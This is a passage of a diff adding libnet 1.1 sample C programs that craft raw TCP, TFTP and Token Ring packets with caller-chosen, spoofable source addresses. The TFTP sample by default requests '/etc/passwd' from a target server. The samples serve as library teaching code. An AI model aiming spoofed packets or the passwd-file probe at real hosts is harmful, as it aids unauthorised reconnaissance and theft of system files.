+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP + options[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp_options(
+ "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000",
+ 20,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP options: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 10, /* urgent pointer */
+ LIBNET_TCP_H + 20 + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+#if defined(__WIN32__)
+#include <../include/win32/getopt.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#endif /* __WIN32__ */
+/* EOF */
diff --git a/libnet/sample/tcp2.c b/libnet/sample/tcp2.c
new file mode 100644
index 0000000..e45de90
--- /dev/null
+++ b/libnet/sample/tcp2.c
@@ -0,0 +1,192 @@
+/*
+ * $Id: tcp2.c,v 1.3 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet 1.1
+ * raw_tcp.c - Build a TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 10, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tftp.c b/libnet/sample/tftp.c
new file mode 100644
index 0000000..b77e887
--- /dev/null
+++ b/libnet/sample/tftp.c
@@ -0,0 +1,207 @@
+/*
+ *
+ * libnet 1.1
+ * Build a TFTP scanner using payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * ./tftp -s 192.168.0.1 -d 192.168.0.66 -p plop
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t udp = 0, ip = 0;
+ char *filename = "/etc/passwd";
+ char mode[] = "netascii";
+ u_char *payload = NULL;
+ u_int payload_s = 0;
+
+
+ printf("libnet 1.1 packet shaping: UDP + payload[raw] == TFTP\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ goto bad;
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ goto bad;
+ }
+ break;
+
+ case 'p':
+ filename = optarg;
+ break;
+
+ default:
+ fprintf(stderr, "unkown option [%s]: bye bye\n", optarg);
+ goto bad;
+
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * build payload
+ *
+ * 2 bytes string 1 byte string 1 byte
+ * ------------------------------------------------
+ * | Opcode | Filename | 0 | Mode | 0 |
+ * ------------------------------------------------
+ *
+ */
+ payload_s = 2 + strlen(filename) + 1 + strlen(mode) + 1;
+ payload = malloc(sizeof(char)*payload_s);
+ if (!payload)
+ {
+ fprintf(stderr, "malloc error for payload\n");
+ goto bad;
+ }
+ memset(payload, 0, payload_s);
+ payload[1] = 1; /* opcode - GET */
+ memcpy(payload + 2, filename, strlen(filename));
+ memcpy(payload + 2 + strlen(filename) + 1 , mode, strlen(mode));
+
+ /*
+ * Build pblocks
+ */
+ udp = libnet_build_udp(
+ 0x1234, /* source port */
+ 69, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet length */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length - dont forget the UDP's payload */
+ 0, /* TOS */
+ 0x4242, /* IP ID */
+ 0, /* IP Frag */
+ 0x42, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload (already in UDP) */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TFTP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ free(payload);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ free(payload);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-p payload] [-t|u|i] \n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tring_tcp1.c b/libnet/sample/tring_tcp1.c
new file mode 100644
index 0000000..9b9140f
--- /dev/null
+++ b/libnet/sample/tring_tcp1.c
@@ -0,0 +1,214 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on Token Ring
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over Token Ring) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hard-coded for tr0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "tr0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_token_ring(
+ LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */
+ tr_dst, /* token ring destination */
+ tr_src, /* token ring source */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ TOKEN_RING_TYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tring_tcp2.c b/libnet/sample/tring_tcp2.c
new file mode 100644
index 0000000..f5f85a2
--- /dev/null
+++ b/libnet/sample/tring_tcp2.c
@@ -0,0 +1,210 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on token ring (autobuild)
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over token ring) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hard-coded for tr0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "tr0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_token_ring(
